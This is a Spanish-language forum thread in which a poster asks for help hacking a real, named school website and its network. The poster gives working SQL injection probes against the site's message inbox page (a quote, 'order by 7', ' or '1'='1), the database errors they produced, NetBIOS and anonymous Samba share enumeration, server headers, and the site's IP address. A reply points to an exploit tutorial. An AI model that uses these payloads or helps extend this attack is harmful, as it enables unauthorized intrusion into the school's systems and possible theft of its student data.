Hola buenas a todos, he estado cerca de 2 meses intentando hackear una pagina asp, tiene muy buena seguridad pero he encontrado un varios bugs que se pueden explotar como :

"  http://www.thebritishcollege.com/messageinbox.asp?type=in&user=1 "pero cuando pongo una comilla me sale :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Missing ), ], or Item in query expression '(Select count(*) from mensajes where borrarpara=0 and para='1'' and estado ='N') as CantIn, (select PrintName & ' ' & '(' & nombre & ' ' & ape_1 & ')' from claves where userid=de) as deprint, (select PrintName & ' ' & '(' & nombre & ' ' & ape_1 & ')' '.

/messageinbox.asp, line 146


Y apartir de ahi e intentado todo pero no me sale nada, alguien me puede ayudar se lo agradeceria muchisimo de verdad si le interesa tambien encontre estos links :

http://79.148.252.218/default.aspx?user=1

http://www.thebritishcollege.com/Report.asp?id_alum=17123&id_term=

Muchisimas Gracias a todos los que intenteis ayudarme

no, quiero acceder a ella porque el informatico me desafio y llevo ya 2 meses intentando y nada porfavor ayudadme ya es por reto propio no por el

Aquí viven más pendientes de satanizar a alguien que de ayudar.

http://www.exploit-db.com/papers/12975/

Dale una leída, seguro si le dedicas sacas algo.

Vale, buenas tardes e encontrado informacion valiosa, tras leer , leer y leer encontre en esa misma pagina un error que me dice que solo hay 2 Filas en la base de datos "http://www.thebritishcollege.com/messageinbox.asp?type=in&user=1%20order%20by%207#" (si lo quereis ver, si no sale el error : ADODB.Field error '800a0bcd'

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

/messageinbox.asp, line 268 ) y el problema es que no se como encontrar las columnas.***


otro error que he encontrado es en la sección de mensajeria, cuando intento poner (http://thebritishcollege.com/messageinbox.asp?type=in&user=1' or '1'='1) me sale:
Active Server Pages error 'ASP 0113'

Script timed out

/messageinbox.asp

The maximum amount of time for a script to execute was exceeded. You can change this limit by specifying a new value for the property Server.ScriptTimeout or by changing the value in the IIS administration tools

Alguien me puede ayudar se lo suplicaria porfavor

mirad la ip es 79.148.252.218 , la descubri mirando el codigo fuente , ademas se de esa pagina :
Netbioss attack

PROXY <0x0>
PROXY <0x3>
PROXY <0x20>

__MSBROWSE__ <0x1>
TBC <0x1d>
TBC <0x1e>
TBC <0x0>

Pero no puedo porque al escribir el nombre de proxy no me deja hacer nada tambien se :

HTTP/1.0 200 OK
Date: Tue, 18 Feb 2014 20:00:30 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 6913

Aparte un registro:

Anonymous login successful

Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba Server)
desktop Disk
Anonymous login successful

Server Comment
--------- -------
PDC
PROXY Samba Server

Workgroup Master
--------- -------
TBC PDC



Mirad quiero acceder alos archivos de esa red, pero se que estan todos en la carpeta TBC pero no puedo acceder a ella pero se 100% que hay se guarda todo